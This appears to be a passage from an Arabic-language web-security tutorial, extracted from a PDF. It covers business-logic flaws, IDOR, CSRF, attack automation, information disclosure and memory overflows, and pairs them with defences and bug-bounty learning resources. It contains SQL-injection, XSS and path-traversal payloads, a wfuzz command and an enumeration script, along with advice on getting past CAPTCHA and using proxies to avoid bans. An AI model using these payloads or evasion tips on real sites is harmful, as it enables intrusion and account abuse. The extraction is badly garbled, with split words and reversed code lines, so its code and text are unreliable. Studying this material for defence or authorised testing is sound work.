‫مباشة لصفحة "تم ر‬ ‫ً‬
‫بدال من الدفع‪ ،‬ينتقل ر‬
‫الرساء"‪.‬‬ ‫‪.2‬‬

‫‪ .3‬النتيجة؟ طلب المنتج بدون ما يدفع فلس!‬


‫مثال ‪ :2‬اللعب بأسعار الخصومات‬
‫المستخدم يضيف ‪ 100‬منتج للسلة عشان يحصل عل خصم ر‬
‫كبي‪.‬‬ ‫‪‬‬

‫‪ ‬بعد الخصم‪ ،‬يحذف المنتجات ويشيي منتج واحد بالسعر‬


‫المخفض‪.‬‬
‫‪ .5‬حماية التطبيقات من ثغرات المنطق‪:‬‬
‫أ‪ .‬إعادة التحقق (‪:)Server-Side Validation‬‬
‫‪ ‬الزم كل خطوة تتحقق من البيانات من الخادم (‪ ،)Server‬مش‬
‫تعتمد عل المتصفح‪.‬‬
‫ب‪ .‬التحقق من التسلسل (‪:)Sequence Enforcement‬‬
‫تأكد إن المستخدم يتبع الخطوات بالتسلسل الصحيح‪ ،‬وما يقدرش‬ ‫‪‬‬

‫يتخطاها‪.‬‬
‫ج‪ .‬إدارة الجلسات بحذر (‪:)Session Management‬‬
‫تتغيش بشكل‬
‫اربط البيانات بالجلسة (‪ ،)Session‬واتأكد إنها ما ر‬ ‫‪‬‬

‫منطق‪.‬‬
‫ي‬ ‫غي‬
‫ر‬
‫‪ .6‬أدوات لفحص الثغرات‪:‬‬
‫‪ :Burp Suite ‬الختبار الطلبات وتحليلها‪.‬‬
‫‪ :OWASP ZAP‬لتجربة التالعب بالمدخالت واختبار التطبيق‪.‬‬ ‫‪‬‬

‫الخالصة‪:‬‬
‫ثغرات منطق التطبيقات مش ً‬
‫دايما واضحة‪ ،‬لكن لما تالقيها‪ ،‬ممكن تبق‬
‫دايما برا الصندوق‪ ،‬وتجرب حاجات "غريبة"‬‫كارثية‪ .‬عشان كده الزم تفكر ً‬
‫الميمج ما فكرش فيها‪.‬‬
‫ممكن ر‬
‫تعاىل نشوف‬‫عل الفصل ده اكي ي‬
‫طبعا انت حبيت علشان كده ركزت معاك ي‬
‫يمكن نعرف نشيي حاجه ببالش ‪.‬‬
‫الشاء وطرق التعلم يف مجال ‪Bug‬‬ ‫الثغرات المرتبطة بتخط خطوات ر‬
‫ي‬
‫‪Bounty‬‬
‫‪ .1‬الثغرة‪Business Logic Vulnerabilities :‬‬
‫‪ ‬الوصف‪:‬‬
‫الثغرات دي بتظهر لما التطبيق ما يقدرش يتحقق بشكل صحيح من‬
‫الخطوات المطلوبة ف العمليات الحرجة‪ ،‬زي عمليات ر‬
‫الرساء أو‬ ‫ي‬
‫الحجز‪.‬‬
‫لتخىط‬
‫ي‬ ‫الهاكر بيستغل ضعف المنطق يف الكود أو التحقق الضعيف‬
‫خطوة مهمة‪.‬‬
‫‪ .2‬إزاي الثغرة دي بتحصل؟‬
‫مثال‪ ،‬لو التطبيق مصمم إنه يعدي خطوة التحقق ً‬‫ً‬
‫بناء‬ ‫‪ ‬يف عملية رشاء‬
‫السيفر‪،‬‬
‫عل بيانات من المتصفح أو الطلبات (‪ )Requests‬بدل ر‬
‫يغي البيانات ويتخىط الخطوة‪.‬‬‫المهاجم يقدر ر‬
‫‪ ‬مثال‪:‬‬
‫‪ ‬أضفت منتج لسلة التسوق بـ ‪ 100‬دوالر‪.‬‬
‫للسيفر كان‪:‬‬
‫ر‬ ‫الل راح‬
‫‪ ‬الطلب ي‬
‫‪POST /checkout ‬‬
‫‪Item: Laptop ‬‬
‫‪Price: 100 ‬‬
‫يغي السعر لـ ‪ 1‬دوالر يف الطلب المرسل‪ ،‬ولو‬
‫‪ ‬المهاجم ر‬
‫السيفر مش بيتحقق كويس‪ ،‬العملية بتتم بسعر جديد‪.‬‬‫ر‬
‫😱‬
‫أسماء الثغرات المرتبطة وطرق اكتشافها‪:‬‬
‫أ‪Parameter Tampering .‬‬
‫‪ ‬الوصف‪:‬‬
‫للسيفر‪.‬‬
‫ر‬ ‫تغيي القيم المرسلة‬
‫ر‬
‫‪ ‬أدوات التعلم‪:‬‬
‫‪ ‬تعلم استخدام ‪ Burp Suite‬لتعديل الطلبات والردود‪.‬‬
‫‪ ‬جرب تطبيقات تدريب زي ‪ DVWA‬أو ‪PortSwigger‬‬
‫‪.Labs‬‬
‫ب‪Insecure Direct Object References (IDOR) .‬‬
‫‪ ‬الوصف‪:‬‬
‫الوصول ألشياء مش المفروض توصلها بسبب ضعف التحقق‪.‬‬
‫‪ ‬مثال‪:‬‬
‫تغيي رقم الفاتورة يف رابط لـ‪:‬‬
‫ر‬
‫‪invoice/54321/ >- invoice/12345/ ‬‬
‫‪ ‬أدوات التعلم‪:‬‬
‫‪ ‬ابدأ مع ‪ Hack The Box‬أو ‪ TryHackMe‬للتدريب‪.‬‬
‫ج‪Forced Browsing .‬‬
‫‪ ‬الوصف‪:‬‬
‫الوصول لصفحات أو خطوات مش المفروض تكون متاحة‬
‫للمستخدم‪.‬‬
‫‪ ‬مثال‪:‬‬
‫الوصول إىل صفحة تأكيد الطلب ر‬
‫مباشة‪:‬‬
‫‪checkout/confirm/ ‬‬
‫‪ ‬أدوات التعلم‪:‬‬
‫‪ ‬جرب أدوات زي ‪OWASP ZAP‬‬
‫‪ ‬و‪.Burp Suite Spider‬‬
‫د‪Race Conditions .‬‬
‫‪ ‬الوصف‪:‬‬
‫مرتي‬
‫غي متوقعة‪ ،‬زي تنفيذ طلب ر‬‫استغالل اليامن إلتمام عمليات ر‬
‫بدل مرة‪.‬‬
‫‪ ‬مثال‪:‬‬
‫إرسال طلب رشاء برسعة ر‬
‫كبية قبل التحقق‪.‬‬
‫‪ ‬أدوات التعلم‪:‬‬
‫‪ ‬جرب أدوات مثل ‪ Turbo Intruder‬مع ‪.Burp Suite‬‬

‫الىل تحتاجه عشان تبدأ يف ‪Bug Bounty‬؟‬ ‫إيه ي‬


‫‪ .1‬المهارات األساسية‪:‬‬
‫‪:HTTP Basics ‬‬
‫‪ ‬افهم إزاي الطلبات والردود شغالة‪.‬‬
‫يعن إيه ‪.Cookies ،Headers ،POST ،GET‬‬ ‫‪ ‬اعرف ي‬
‫‪ ،JavaScript ،HTML ‬و‪:SQL Basics‬‬
‫دي أساسيات لفهم كيف التطبيقات شغالة والتفاعل معها‪.‬‬ ‫‪‬‬

‫‪ .2‬أدوات هتحتاجها‪:‬‬
‫‪:Burp Suite ‬‬
‫لفحص الطلبات وتعديلها‪.‬‬
‫‪:Postman ‬‬
‫الختبار واجهات برمجة التطبيقات (‪.)APIs‬‬
‫‪:OWASP ZAP ‬‬
‫أداة مفتوحة المصدر الختبار األمان‪.‬‬
‫‪ .3‬منصات تدريب‪:‬‬
‫‪:Bugcrowd University ‬‬
‫كورسات مجانية عن اكتشاف الثغرات‪.‬‬
‫‪:PortSwigger Web Security Academy‬‬ ‫‪‬‬

‫عمل مع تطبيقات حقيقية‪.‬‬ ‫ي‬ ‫تعلم‬


‫‪ Hack The Box ‬و‪:TryHackMe‬‬
‫بيئات افياضية الختبار مهاراتك‪.‬‬
‫‪ .4‬ممارسات عملية‪:‬‬
‫‪ ‬ابدأ عل منصات ‪ Bug Bounty‬زي‪:‬‬
‫‪HackerOne ‬‬
‫‪Bugcrowd ‬‬
‫‪Synack ‬‬
‫الصب واالستمرارية‪:‬‬
‫ر‬ ‫‪.5‬‬
‫وصي‪.‬‬
‫‪ ‬مجال الـ ‪ Bug Bounty‬محتاج وقت ر‬
‫‪ ‬حاول كل يوم تتعلم حاجة جديدة وتطبقها‪.‬‬
‫الخالصة‪:‬‬
‫الثغرات زي ‪ Parameter Tampering‬و‪ IDOR‬و ‪Forced‬‬ ‫‪‬‬

‫الل‬
‫ه أمثلة حقيقية عل مشاكل منطق التطبيق ي‬
‫‪ Browsing‬ي‬
‫ممكن تستغلها يف ‪.Bug Bounty‬‬
‫المستخدمي‪ :‬تقنيات متنوعة‬
‫ر‬ ‫عش‪ :‬مهاجمة‬ ‫الفصل الثالث ر‬
‫(‪)Attacking Users: Other Techniques‬‬
‫ف الفصل ده‪ ،‬هنستكشف طرق متقدمة ر‬
‫وأكي إبداعية الستهداف‬ ‫ي‬
‫غي الهجمات المعروفة زي ‪ .XSS‬خلينا نبدأ بحماس! 😎‬‫المستخدمي ر‬
‫ر‬
‫المستخدمي‬
‫ر‬ ‫‪ .1‬الهدف من مهاجمة‬
‫المستخدمي؟‬
‫ر‬ ‫‪ ‬لماذا تهاجم‬
‫ً‬
‫السيفر أو التطبيق نفسه‪ ،‬الهاكرز بيحاولوا‬
‫بدال من اخياق ر‬ ‫‪‬‬

‫المستخدمي كمدخل لالخياق‪.‬‬


‫ر‬ ‫استغالل‬
‫ً‬ ‫مباشة ر‬
‫غي ر‬ ‫ً‬
‫وأكي تعقيدا من مجرد‬ ‫ر‬ ‫تكون‬ ‫غالبا‬ ‫الهجمات دي‬ ‫‪‬‬

‫استغالل ثغرات تقنية‪.‬‬

‫المستخدمي‬
‫ر‬ ‫‪ .2‬أنواع الهجمات عىل‬
‫أ‪ .‬تزوير الطلبات (‪)Request Forgery‬‬
‫‪ ‬إزاي بيحصل؟‬
‫الهجوم ده بيستغل المتصفح الخاص بالمستخدم لتنفيذ طلبات‬
‫(‪ )Requests‬بدون علمه‪.‬‬
‫‪ ‬مثال‪:‬‬
‫ع بيستقبل طلب زي‪:‬‬ ‫ر‬
‫موقع ش ي‬
‫‪POST /transferFunds ‬‬
‫‪Recipient=attacker&Amount=100 ‬‬
‫تجي المستخدم عل تنفيذ الطلب ده‪ ،‬طالما‬
‫الهاكرز يصنع صفحة خبيثة ر‬
‫إنه مسجل دخول يف التطبيق المستهدف‪.‬‬
‫‪ ‬أنواع ر‬
‫البوير‪:‬‬
‫‪ :On-Site Request Forgery ‬يتم الهجوم من داخل‬
‫التطبيق نفسه‪.‬‬
‫)‪ :Cross-Site Request Forgery (CSRF‬يتم الهجوم‬ ‫‪‬‬

‫خارج‪.‬‬
‫ر ي‬ ‫عي موقع‬
‫ر‬
‫ب‪ .‬التالعب بواجهة المستخدم (‪)UI Redress‬‬
‫‪ ‬إزاي بيشتغل؟‬
‫يخق عنارص ضارة تحت واجهة رشعية‪ ،‬بحيث يضغط‬ ‫ي‬ ‫الهاكر‬
‫خطية‪.‬‬
‫ر‬ ‫المستخدم بدون قصد عل حاجة‬
‫‪ ‬مثال‪:‬‬
‫مغىط عل زر "احذف الحساب"‪.‬‬ ‫ي‬ ‫زر "تحميل ملف" بيكون‬
‫😱‬
‫ج‪ .‬حقن ‪ HTML‬و‪CSS‬‬
‫‪ ‬حقن ‪:HTML‬‬
‫المستخدمي ينفذوا‬
‫ر‬ ‫المهاجم يضيف عنارص ‪ HTML‬ضارة لجعل‬
‫غي مقصودة‪.‬‬ ‫أفعال ر‬
‫‪ ‬حقن ‪:CSS‬‬
‫لتغيي مظهر الصفحات وإخفاء وظائفها الحقيقية‪.‬‬
‫ر‬ ‫يستخدم ‪CSS‬‬
‫اخباق سياسة نفس األصل (‪)Same-Origin Policy‬‬ ‫د‪ .‬ر‬
‫المستخدمي‪:‬‬
‫ر‬ ‫بتحم‬
‫ي‬ ‫‪ ‬السياسة دي‬
‫بمنع المواقع من قراءة بيانات مواقع أخرى‪.‬‬
‫‪ ‬لكن‪...‬‬
‫الهاكرز بيستخدموا تقنيات زي ‪ DNS Rebinding‬أو‬
‫‪ JavaScript Hijacking‬لتجاوز السياسة دي‪.‬‬

‫بالكوكب (‪)Cookie Injection‬‬


‫ر‬ ‫ـه‪ .‬التالعب‬
‫الىل بيحصل؟‬
‫‪ ‬إيه ي‬
‫كوكي خبيثة لجعل التطبيق يتعامل مع‬ ‫المهاجم يعدل أو ر‬
‫ينش ر‬
‫المستخدم بشكل مختلف‪.‬‬
‫‪ .3‬أمثلة عملية‬
‫مثال ‪ CSRF :1‬يف مزادات ‪eBay‬‬
‫المهاجمي كانوا‬
‫ر‬ ‫‪ ‬يف ‪ ،2004‬تم اكتشاف ثغرة يف ‪ eBay‬حيث‬
‫المستخدمي يضعوا عروض‬
‫ر‬ ‫بيستخدموا صفحات ‪ HTML‬لجعل‬
‫عل المنتجات بدون علمهم ‪.‬‬
‫مثال ‪ Hijacking :2‬بواسطة ‪JavaScript‬‬
‫‪ ‬باستخدام إطار عمل زي ‪ ،BeEF‬المهاجم يقدر‪:‬‬
‫‪ ‬يتتبع رصبات المفاتيح (‪.)Keystrokes‬‬
‫‪ ‬يعمل ‪.Port Scanning‬‬
‫‪ ‬يرسق بيانات المستخدم‪.‬‬
‫‪ .4‬األدوات المستخدمة للهجوم‬
‫)‪:BeEF (Browser Exploitation Framework‬‬ ‫‪.1‬‬

‫إطار عمل مفتوح المصدر لتنفيذ الهجمات من المتصفح‪.‬‬


‫‪ Burp Suite .2‬و ‪:OWASP ZAP‬‬
‫لفحص التطبيقات واكتشاف النقاط الضعيفة‪.‬‬

‫‪ .5‬الحماية من الهجمات‬
‫أ‪ .‬إصالح سياسات األمان‪:‬‬
‫تفعيل )‪ CSP (Content Security Policy‬لحماية المواقع من‬ ‫‪‬‬

‫حقن األكواد‪.‬‬
‫غي موثوقة‪.‬‬‫‪ ‬منع تشغيل ‪ JavaScript‬من مصادر ر‬
‫الكوكب‪:‬‬
‫ر‬ ‫ب‪ .‬التحقق من‬
‫ً‬ ‫استخدام أعالم مثل ‪ HttpOnly‬و‪ Secure‬لجعل الكوكي ر‬
‫أكي أمانا‪.‬‬ ‫ر‬ ‫‪‬‬

‫ج‪ .‬الحماية من ‪:CSRF‬‬


‫‪ ‬استخدام رموز مكافحة )‪.CSRF (Anti-CSRF Tokens‬‬
‫‪ ‬تقييد الطلبات المشبوهة ً‬
‫بناء عل المصدر‪.‬‬
‫الخالصة‬
‫ً‬
‫خطية جدا‪ .‬لو فاهم التقنيات‬ ‫ر‬ ‫المستخدمي معقدة لكن‬
‫ر‬ ‫الهجمات عل‬
‫المستخدمي كمدخل لالخياق‪.‬‬
‫ر‬ ‫تحم تطبيقك من استغالل‬
‫ي‬ ‫دي‪ ،‬تقدر‬
‫واع وحذر! 🚀‬ ‫خليك‬ ‫ا‬ ‫ً‬
‫دايم‬
‫ي‬
‫المخصصة تلقائياً‬ ‫عش‪ :‬تنفيذ الهجمات‬ ‫الفصل الرابع ر‬
‫(‪)Automating Customized Attacks‬‬
‫الفصل ده يا نجم بيدخلك يف عالم األتمتة الذكية‪ .‬تخيل إنك بدل ما‬
‫تقعد تجرب ً‬
‫يدويا ‪ 100‬مرة عل تطبيق‪ ،‬األدوات والسكربتات تعمل ده‬
‫ليك برسعة رهيبة وبكفاءة‪ .‬الفكرة هنا إن الهجوم المخصص عل تطبيق‬
‫دايما بيكون "جاهز عالطاير"‪ ،‬وده السبب إننا بنحتاج نخصص‬‫معي مش ً‬ ‫ر‬
‫بناء عل الهدف‪.‬‬‫الهجوم ً‬

‫🧙‬‫‪ .1‬ليه األتمتة؟‬


‫التوفب يف الوقت‪:‬‬
‫ر‬ ‫‪‬‬
‫ً‬
‫بدل ما تقعد تبعت طلبات وتراقب الردود يدويا‪ ،‬األتمتة تعمل ده‬
‫بالنيابة عنك برسعة‪.‬‬
‫‪ ‬زيادة الدقة‪:‬‬
‫األدوات بتتعامل مع المدخالت بشكل منتظم ومحدد‪.‬‬

‫‪ .2‬استخدامات األتمتة‬
‫أ‪ .‬التعرف عىل المعرفات الصحيحة ( ‪Enumerating Valid‬‬
‫‪:)Identifiers‬‬
‫‪ ‬لو التطبيق عنده معرفات زي أرقام الحسابات أو أسماء‬
‫المستخدمي‪ ،‬األتمتة تقدر تجرب كل الخيارات وتحدد الموجود‬
‫ر‬
‫ً‬
‫فعليا‪.‬‬
‫عمىل‪:‬‬
‫ي‬ ‫‪ ‬مثال‬
‫لو عندك رابط زي‪:‬‬
‫‪https://example.com/user?id=1 ‬‬
‫‪ ‬األدوات بتجرب أرقام زي ‪ 4 ،3 ،2‬وهكذا‪ ،‬وتشوف‬
‫االستجابات‪.‬‬
‫تخمي كلمات المرور (‪:)Brute Force‬‬‫ر‬ ‫ب‪.‬‬
‫األدوات بتساعدك تجرب كل الكلمات الممكنة عل صفحة تسجيل‬ ‫‪‬‬

‫الدخول لحد ما توصل لكلمة المرور الصحيحة‪.‬‬


‫ج‪ .‬فحص المعامالت (‪:)Fuzzing‬‬
‫‪ ‬تجربة مدخالت مختلفة زي "<‪ ">script‬أو ‪etc/passwd/../..‬‬
‫تختي الثغرات‪.‬‬
‫ر‬ ‫عشان‬
‫‪ .3‬األدوات المستخدمة‬
‫أ‪:Burp Suite Intruder .‬‬
‫‪ ‬أقوى أداة لتخصيص الهجمات‪.‬‬
‫الل عايز تجرب عليها مدخالت مختلفة‪،‬‬
‫‪ ‬تقدر تحدد الطلبات ي‬
‫وتراقب النتائج‪.‬‬
‫ب‪:WFuzz .‬‬
‫أداة مفتوحة المصدر لتجربة المدخالت المختلفة عل الروابط‪.‬‬ ‫‪‬‬

‫‪ ‬مثال‪:‬‬
‫‪wfuzz -c -z file,wordlist.txt --hc 404 ‬‬
‫‪https://example.com/FUZZ‬‬
‫ج‪ Python .‬مع مكتبات زي ‪:Requests‬‬
‫‪ ‬لو عايز تصمم سكربت خاص بيك‪ ،‬بايثون أداة ممتازة‪.‬‬
‫‪ ‬مثال‪:‬‬
‫‪import requests‬‬ ‫‪‬‬
‫‪‬‬

‫‪:)101 ,1(for i in range ‬‬


‫= ‪response‬‬ ‫‪‬‬

‫‪)"https://example.com/user?id={i}"requests.get(f‬‬
‫‪:in response.text "valid" if‬‬ ‫‪‬‬

‫‪)"User ID {i} exists"print(f‬‬ ‫‪‬‬

‫‪ .4‬تحديات األتمتة وكيف تتغلب عليها‬


‫أ‪ .‬آليات الحماية (‪:)Defensive Mechanisms‬‬
‫التطبيقات بتستخدم آليات زي ‪ CAPTCHA‬و ‪Rate‬‬ ‫‪‬‬

‫‪.Limiting‬‬
‫‪ ‬الحل؟‬
‫‪ ‬حاول تتخىط ‪ CAPTCHA‬باستخدام أدوات زي‬
‫‪ Captcha2‬أو ‪.OCR‬‬
‫بروكش لتفادي الحظر‪.‬‬
‫ي‬ ‫‪ ‬استخدم خوادم‬
‫ب‪ .‬إدارة الجلسات (‪:)Session Handling‬‬
‫‪ ‬التطبيقات بتحتاج توثيق (‪.)Authentication‬‬
‫‪ ‬الحل؟‬
‫الكوكي أو التوكن الصحيح‪.‬‬
‫ر‬ ‫تأكد إن طلباتك بتحتوي عل‬ ‫‪‬‬

‫‪ .5‬أمثلة عملية عىل األتمتة‬


‫مثال ‪ :1‬جمع البيانات (‪:)Data Harvesting‬‬
‫المستخدمي من قائمة‬
‫ر‬ ‫األتمتة تقدر تستخرج بيانات زي أسماء‬ ‫‪‬‬

‫مستخدمي عامة‪.‬‬
‫ر‬
‫‪ ‬األداة‪.Burp Suite :‬‬
‫الل تحتوي عل بيانات مستخدم‪.‬‬
‫‪ ‬الطريقة‪ :‬استخرج الردود ي‬
‫تخط كلمات المرور (‪:)Password Reset Exploitation‬‬ ‫ي‬ ‫مثال ‪:2‬‬
‫تعيي كلمة المرور عشان‬
‫‪ ‬جرب ترسل طلبات مختلفة لصفحة إعادة ر‬
‫تكتشف ثغرات‪.‬‬
‫مثال ‪ :3‬اختبار الثغرات الشائعة ( ‪Fuzzing for Common‬‬
‫‪:)Vulnerabilities‬‬
‫‪ ‬جرب إدخال نصوص زي‪:‬‬
‫‪1'='1' OR ' ‬‬
‫‪.>script/<)'XSS'(alert>script< ‬‬
‫للمبتدئي‪:‬‬
‫ر‬ ‫‪ .6‬نصائح‬
‫‪ ‬ابدأ بأدوات سهلة االستخدام‪:‬‬
‫زي ‪ Burp Suite‬و‪.OWASP ZAP‬‬
‫‪ ‬تعلم كتابة السكربتات‪:‬‬
‫مثاىل عشان تخصص الهجمات‪.‬‬‫بايثون خيار ي‬
‫‪ ‬تدرب عىل منصات مثل‪:‬‬
‫‪.Hack The Box ‬‬
‫‪.TryHackMe ‬‬
‫الخالصة‪:‬‬
‫ر‬
‫االخباق‪ .‬األتمتة هتخليك توفر‬ ‫الفصل ده هو مفتاح القوة يف اختبار‬
‫وقت وتحقق دقة أعل‪ ،‬بس الزم تفهم الهدف وتخصص الهجوم عشان‬
‫يجيب نتيجة فعالة‪.‬‬
‫عش‪ :‬استغالل تشيبات المعلومات ( ‪Exploiting‬‬ ‫الفصل الخامس ر‬
‫‪📜🔍 )Information Disclosure‬‬
‫ً‬
‫وهدوءا يف ترسانة‬ ‫ر‬
‫األكي فاعلية‬ ‫الفصل ده هو عن واحدة من األدوات‬
‫المهاجمي‪ :‬تشيبات المعلومات‪ .‬هنا بنتعلم إزاي نحصل عل معلومات‬‫ر‬
‫الل بتفتح الباب‬
‫الخطوة ي‬ ‫كبي‪ ،‬ودي‬
‫مهمة من التطبيق بدون مجهود ر‬
‫ً‬
‫لهجمات أكي تعقيدا‪ .‬مستعد؟ يال نبدأ!‬

‫يعن إيه تشيبات معلومات؟‬ ‫‪ .1‬ي‬


‫غي ما‬‫ببساطة‪ ،‬دي معلومات التطبيق بيعرضها بالغلط أو من ر‬ ‫‪‬‬

‫يقصد‪.‬‬
‫‪ ‬المعلومة دي ممكن تكون‪:‬‬
‫السيفر‪.‬‬ ‫‪ ‬تفاصيل عن النظام أو ر‬
‫‪ ‬أخطاء برمجية بتكشف عن أكواد حساسة‪.‬‬
‫‪ ‬ملفات أو روابط كان المفروض تكون مخفية‪.‬‬
‫خطبة؟‬ ‫ر‬ ‫ليه دي حاجة‬
‫‪ ‬المهاجم ممكن يستخدم المعلومات دي عشان‪:‬‬
‫‪ ‬يكتشف ثغرات‪.‬‬
‫الل محتاجة تجاوز‪.‬‬ ‫ي‬ ‫‪ ‬يحدد أدوات الحماية‬
‫ً‬ ‫‪ ‬يبن خطة هجوم ر‬
‫أكي تعقيدا‪.‬‬ ‫ي‬
‫‪ .2‬أنواع تشيبات المعلومات‬
‫أ‪ .‬رسائل األخطاء المكشوفة (‪:)Error Messages‬‬
‫ً‬
‫الل بيعرضها التطبيق أحيانا بتحتوي عل معلومات‬
‫‪ ‬رسائل األخطاء ي‬
‫حساسة زي‪:‬‬
‫‪ ‬نوع قاعدة البيانات (‪.)PostgreSQL ،MySQL‬‬
‫‪ ‬هيكل الجدول أو أسماء الحقول‪.‬‬
‫السيفر‪.‬‬
‫‪ ‬مسارات الملفات عل ر‬
‫عمىل‪:‬‬
‫ي‬ ‫مثال‬
‫‪ ‬رسالة خطأ زي‪:‬‬
‫‪does 'users' in table 'password' SQL Error: Column ‬‬
‫‪.not exist‬‬
‫بتكشف أسماء الحقول وقاعدة البيانات المستخدمة‪.‬‬
‫ب‪ .‬ملفات تكوين مكشوفة (‪:)Exposed Configuration Files‬‬
‫‪ ‬ملفات زي ‪ config.php‬أو ‪ env.‬ممكن تحتوي عل‪:‬‬
‫‪ ‬بيانات تسجيل الدخول‪.‬‬
‫التشفي‪.‬‬
‫ر‬ ‫‪ ‬مفاتيح‬
‫‪ ‬مسارات الملفات الحساسة‪.‬‬
‫ج‪ .‬هيدرز ‪ HTTP‬الحساسة‪:‬‬
‫‪ ‬هيدرز زي‪:‬‬
‫‪ :X-Powered-By‬بتكشف عن لغة ر‬
‫اليمجة أو اإلطار‬ ‫‪‬‬

‫(‪ )Framework‬المستخدم‪.‬‬
‫السيفر‪.‬‬
‫‪ :Server ‬بتعرض نوع إصدار ر‬
‫مثال‪:‬‬
‫‪X-Powered-By: PHP/7.4.3‬‬
‫)‪Server: Apache/2.4.41 (Ubuntu‬‬
‫‪ ‬دي بتقول للمهاجم كل حاجة عن البيئة التشغيلية‪.‬‬
‫د‪ .‬تشيبات يف واجهات برمجة التطبيقات (‪:)APIs‬‬
‫بعض الـ ‪ APIs‬ممكن تعرض معلومات أكي من الالزم زي أسماء‬ ‫‪‬‬

‫المستخدمي أو بيانات حساسة‪.‬‬


‫ر‬
‫‪ .3‬أمثلة عملية لالستغالل‬
‫مثال ‪ :1‬استغالل رسالة خطأ ‪SQL‬‬
‫غي متوقع يف حقل تسجيل الدخول‪.‬‬
‫‪ .1‬مهاجم يدخل نص ر‬
‫‪ .2‬التطبيق يرجع رسالة خطأ بتكشف اسم الجدول والحقول‪.‬‬
‫المهاجم يستخدم المعلومات دي لتنفيذ هجوم ‪.SQL Injection‬‬ ‫‪.3‬‬

‫مثال ‪ :2‬قراءة ملف تكوين‬


‫مهاجم يكتشف رابط يؤدي إىل ‪.config.php‬‬ ‫‪‬‬

‫‪ ‬يفتح الرابط ويشوف‪:‬‬


‫‪;"admin" = db_user$ ‬‬
‫‪;"password123" = db_pass$ ‬‬
‫‪ .4‬أدوات الكتشاف تشيبات المعلومات‬
‫‪ :Burp Suite ‬لفحص الردود وتحليل األخطاء‪.‬‬
‫‪ DirBuster‬أو ‪ :Gobuster‬الكتشاف الملفات المخفية‪.‬‬ ‫‪‬‬

‫السيفر‪.‬‬
‫‪ :Nikto ‬لفحص إعدادات ر‬
‫تحم نفسك؟‬‫ي‬ ‫‪ .5‬كيف‬
‫أ‪ .‬إخفاء األخطاء‪:‬‬
‫اتأكد إن رسائل الخطأ ما تعرضش أي تفاصيل تقنية للمستخدم‪.‬‬ ‫‪‬‬

‫‪ ‬استخدم صفحات خطأ مخصصة‪.‬‬


‫ب‪ .‬حماية الملفات الحساسة‪:‬‬
‫السيفر إلخفاء الملفات زي ‪ config‬و ‪.env.‬‬
‫استخدم إعدادات ر‬ ‫‪‬‬

‫ج‪ .‬تنظيف الردود‪:‬‬


‫تضمي معلومات حساسة يف هيدرز ‪.HTTP‬‬ ‫ر‬ ‫‪ ‬تجنب‬
‫‪ ‬تأكد من تنظيف النصوص قبل عرضها للمستخدم‪.‬‬

‫‪ .6‬نصائح عملية‬
‫الل التطبيق بيعرضها عند األخطاء‪.‬‬
‫‪ ‬راجع الردود ي‬
‫غي متوقعة والحظ ردود التطبيق‪.‬‬‫‪ ‬جرب طلبات ر‬
‫استخدم أدوات تحليل لفحص كل زاوية من التطبيق‪.‬‬ ‫‪‬‬

‫الخالصة‪:‬‬
‫للمهاجمي‪ ،‬دي كمان عالمة‬
‫ر‬ ‫ترسيبات المعلومات مش بس بتسهل الطريق‬
‫عل ضعف يف األمان ‪.‬‬
‫ً‬
‫الم ربجمة أصال ️🕵️♂‬ ‫عش‪ :‬الهجوم عىل التطبيقات ُ‬ ‫الفصل السادس ر‬
‫ً‬
‫ان‪ .‬هنا‬
‫ي‬ ‫السيي‬
‫ر‬ ‫األمن‬ ‫ف‬‫ي‬ ‫بيلعب‬ ‫حد‬ ‫ألي‬ ‫ا‬ ‫جد‬ ‫ده فصل تقيل شوية لكنه مهم‬
‫الل بتتعامل مع‬ ‫الل مكتوبة بلغات زي ‪ C‬و‪ ،++C‬ي‬ ‫بنتكلم عن التطبيقات ي‬
‫الميمج مش واخد باله‪ ،‬الهجمات دي ممكن‬ ‫الذاكرة بشكل ر‬
‫مباش‪ .‬لو ر‬
‫الل هو عايزه!‬‫الينامج‪ ،‬ويعمل ي‬ ‫تخل المهاجم يتحكم يف ر‬ ‫ي‬
‫طيب نبدأ بأنواع الهجمات بالتفصيل 🧙‬
‫‪( Buffer Overflow .1‬فائض الذاكرة)‬
‫أكي من‬‫الينامج ياخد بيانات ر‬ ‫والل بتحصل لما ر‬‫‪ ‬دي أشهر ثغرة ي‬
‫الل مخصصها يف الذاكرة‪.‬‬ ‫المساحة ي‬
‫التفصيل‪:‬‬
‫صغي مكتوب عليه "يتحمل ‪ 5‬كيلوجرام"‪،‬‬ ‫ر‬ ‫تخيل إن عندك صندوق‬ ‫‪‬‬

‫الل هيحصل؟ الصندوق هيبوظ‬ ‫ي‬ ‫وإنت حطيت فيه ‪ 10‬كيلوجرام!‬


‫الل حواليها‪.‬‬ ‫ظ‬ ‫وحاجة من الل جوة ممكن توقع برة ّ‬
‫وتبو‬
‫ي‬ ‫ي‬
‫البمجة‪:‬‬ ‫يف ر‬
‫الينامج متوقع إنك تدخل اسم فيه‬ ‫المثال ده بيحصل يف الذاكرة‪ .‬لو ر‬ ‫‪‬‬

‫الباف ده ممكن "يعدي" عل أجزاء‬ ‫‪ 10‬حروف وإنت دخلت ‪ ،50‬ي‬


‫الل بتتحكم يف النظام‪.‬‬ ‫تانية من الذاكرة زي األكواد ي‬
‫النتيجة‪:‬‬
‫والينامج‬
‫الل متأثرة‪ ،‬ر‬‫‪ ‬المهاجم ممكن يكتب أوامر جوة الذاكرة ي‬
‫غي ما يفهم!‬ ‫ينفذها من ر‬
‫إزاي نمنعها؟‬
‫الل بتحدد طول‬ ‫الميمج يستخدم دوال زي ‪ strncpy‬بدل ‪ strcpy‬ي‬ ‫ر‬ ‫‪‬‬

‫الل بتدخل‪.‬‬ ‫البيانات ي‬


‫‪( Integer Overflow .2‬فائض األرقام)‬
‫الينامج‬
‫الل ر‬
‫‪ ‬هنا المشكلة بتحصل لما المهاجم يلعب يف األرقام ي‬
‫غي متوقعة‪.‬‬ ‫بيحسب بيها‪ ،‬فتطلع قيم غلط أو ر‬
‫تشبيه‪:‬‬
‫‪ ‬تخيل عداد الرسعة يف العربية بيوصل لرقم ‪ 999‬وبعد كده يرجع‬
‫للصفر‪ .‬لو المهاجم استغل كده‪ ،‬ممكن يخليك فاكر إن العربية واقفة‬
‫وه طايرة عل شعة ‪!200‬‬ ‫ي‬
‫البمجة‪:‬‬ ‫يف ر‬
‫كبية (زي رصب أو جمع)‪،‬‬ ‫‪ ‬لو فيه حسابات بتتعامل مع أرقام ر‬
‫تخل النتيجة تلف وترجع‬ ‫ي‬ ‫المهاجم ممكن يدخل أرقام ضخمة‬
‫لنقطة البداية‪.‬‬
‫إزاي نمنعها؟‬
